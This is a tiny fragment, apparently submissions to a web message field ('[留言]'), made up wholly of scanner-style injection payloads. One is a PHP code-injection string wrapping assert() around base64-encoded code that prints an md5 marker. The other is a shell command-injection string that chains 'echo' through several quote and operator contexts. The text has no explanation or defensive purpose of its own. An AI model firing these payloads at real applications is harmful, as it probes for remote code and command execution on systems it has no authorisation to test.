[留言];assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
[留言]&echo eqbrsl$()\ xpcmvm\nz^xyu||a #' &echo eqbrsl$()\ xpcmvm\nz^xyu||a #|" &echo eqbrsl$()\ xpcmvm\nz^xyu||a #